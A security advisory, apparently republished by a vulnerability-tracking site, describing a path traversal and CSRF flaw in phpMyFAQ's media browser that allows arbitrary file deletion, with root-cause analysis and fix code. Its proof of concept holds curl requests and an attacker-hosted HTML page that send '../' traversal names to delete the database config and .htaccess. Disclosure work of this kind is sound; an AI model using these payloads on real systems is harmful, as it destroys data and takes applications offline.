Wysoka

phpMyFAQ: Path Traversal - Arbitrary File Deletion in MediaBrowserController

  • Ujawniono: 01.04.2026
  • Aktualizacja: 11.10.2026 10:22

Summary

The MediaBrowserController::index() method handles file deletion for the media browser. When the fileRemove action is triggered, the user-supplied name parameter is concatenated with the base upload directory path without any path traversal validation. The FILTER_SANITIZE_SPECIAL_CHARS filter only encodes HTML special characters (&, ', ", <, >) and characters with ASCII value < 32, and does not prevent directory traversal sequences like ../. Additionally, the endpoint does not validate CSRF tokens, making it exploitable via CSRF attacks.

Details

Affected File: phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/MediaBrowserController.php

Lines 43-66:

php
#[Route(path: 'media-browser', name: 'admin.api.media.browser', methods: ['GET'])]
public function index(Request $request): JsonResponse|Response
{
    $this->userHasPermission(PermissionType::FAQ_EDIT);
    // ...
    $data = json_decode($request->getContent());
    $action = Filter::filterVar($data->action, FILTER_SANITIZE_SPECIAL_CHARS);

    if ($action === 'fileRemove') {
        $file = Filter::filterVar($data->name, FILTER_SANITIZE_SPECIAL_CHARS);
        $file = PMF_CONTENT_DIR . '/user/images/' . $file;

        if (file_exists($file)) {
            unlink($file);
        }
        // Returns success without checking if deletion was within intended directory
    }
}

Root Causes:

  1. No path traversal prevention: FILTER_SANITIZE_SPECIAL_CHARS does not remove or encode ../ sequences. It only encodes HTML special characters.
  2. No CSRF protection: The endpoint does not call Token::verifyToken(). Compare with ImageController::upload() which validates CSRF tokens at line 48.
  3. No basename() or realpath() validation: The code does not use basename() to strip directory components or realpath() to verify the resolved path stays within the intended directory.
  4. HTTP method mismatch: The route is defined as methods: ['GET'] but reads the request body via $request->getContent(). This bypasses typical GET-only CSRF protections that rely on same-origin checks for GET requests.

Comparison with secure implementation in the same codebase:

The ImageController::upload() method (same directory) properly validates file names:

php
if (preg_match("/([^\w\s\d\-_~,;:\[\]\(\).])|([\.]{2,})/", (string) $file->getClientOriginalName())) {
    // Rejects files with path traversal sequences
}

The FilesystemStorage::normalizePath() method also properly validates paths:

php
foreach ($segments as $segment) {
    if ($segment === '..' || $segment === '') {
        throw new StorageException('Invalid storage path.');
    }
}

PoC

Direct exploitation (requires authenticated admin session):

bash
# Delete the database configuration file
curl -X GET 'https://target.example.com/admin/api/media-browser' \
  -H 'Content-Type: application/json' \
  -H 'Cookie: PHPSESSID=valid_admin_session' \
  -d '{"action":"fileRemove","name":"../../../content/core/config/database.php"}'

# Delete the .htaccess file to disable Apache security rules
curl -X GET 'https://target.example.com/admin/api/media-browser' \
  -H 'Content-Type: application/json' \
  -H 'Cookie: PHPSESSID=valid_admin_session' \
  -d '{"action":"fileRemove","name":"../../../.htaccess"}'

CSRF exploitation (attacker hosts this HTML page):

html
<html>
<body>
<script>
fetch('https://target.example.com/admin/api/media-browser', {
  method: 'GET',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({
    action: 'fileRemove',
    name: '../../../content/core/config/database.php'
  }),
  credentials: 'include'
});
</script>
</body>
</html>

When an authenticated admin visits the attacker's page, the database configuration file (database.php) is deleted, effectively taking down the application.

Impact

  • Server compromise: Deleting content/core/config/database.php causes total application failure (database connection loss).
  • Security bypass: Deleting .htaccess or web.config can expose sensitive directories and files.
  • Data loss: Arbitrary file deletion on the server filesystem.
  • Chained attacks: Deleting log files to cover tracks, or deleting security configuration files to weaken other protections.

Remediation

  1. Add path traversal validation:
php
if ($action === 'fileRemove') {
    $file = basename(Filter::filterVar($data->name, FILTER_SANITIZE_SPECIAL_CHARS));
    $targetPath = realpath(PMF_CONTENT_DIR . '/user/images/' . $file);
    $allowedDir = realpath(PMF_CONTENT_DIR . '/user/images');

    if ($targetPath === false || !str_starts_with($targetPath, $allowedDir . DIRECTORY_SEPARATOR)) {
        return $this->json(['error' => 'Invalid file path'], Response::HTTP_BAD_REQUEST);
    }

    if (file_exists($targetPath)) {
        unlink($targetPath);
    }
}
  1. Add CSRF protection:
php
if (!Token::getInstance($this->session)->verifyToken('pmf-csrf-token', $request->query->get('csrf'))) {
    return $this->json(['error' => 'Invalid CSRF token'], Response::HTTP_UNAUTHORIZED);
}
  1. Change HTTP method to POST or DELETE to align with proper HTTP semantics.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Paczka Composer phpmyfaq/phpmyfaq < 4.1.1 4.1.1

Odnośniki

Ocena CVSS 8.7/10
Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H
Słabość (CWE)
CWE-22
Platforma
Composer
Paczka
phpmyfaq/phpmyfaq
Ujawniono
01.04.2026
Aktualizacja
11.10.2026 10:22

Źródła i licencje

OSV / GitHub Advisory Database - GHSA-38m8-xrfj-v38x - CC BY 4.0

Historia podatności: phpmyfaq/phpmyfaq

Wszystkie opisane podatności tej paczki (Paczka Composer), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (47) w archiwum
Wszystkich wpisów
47
Pierwsza → ostatnia
10.2022 09.2026
Bez poprawki
2
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 2
  • Wysoka 18
  • Średnia 25
  • Niska 2

Ujawnienia w latach

  1. 2022: 1
  2. 2023: 0
  3. 2024: 11
  4. 2025: 3
  5. 2026: 32
Istotność:
  1. Wysoka · 8.1 CVE-2026-56737 >= 3.2.0, < 4.1.6 4.1.6
  2. Wysoka · 7.5 CVE-2026-35672 < 4.1.3 4.1.3
  3. Wysoka · 8.8 CVE-2026-35671 < 4.1.3 4.1.3
  4. Wysoka · 7.6 CVE-2026-46367 >= 4.1.1, < 4.1.2 4.1.2
  5. phpMyFAQ: Path Traversal - Arbitrary File Deletion in MediaBrowserController ten wpis
    Wysoka · 8.7 CVE-2026-34728 < 4.1.1 4.1.1
  6. Wysoka · 7.2 CVE-2024-28105 >= 3.2.5, < 3.2.6 3.2.6
  7. Wysoka · 8.8 CVE-2024-28107 >= 3.2.5, < 3.2.6 3.2.6
  8. Wysoka · 8.8 CVE-2024-27299 >= 3.2.5, < 3.2.6 3.2.6
  9. Wysoka · 8.4 CVE-2022-3608 < 3.2.0-alpha 3.2.0-alpha

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.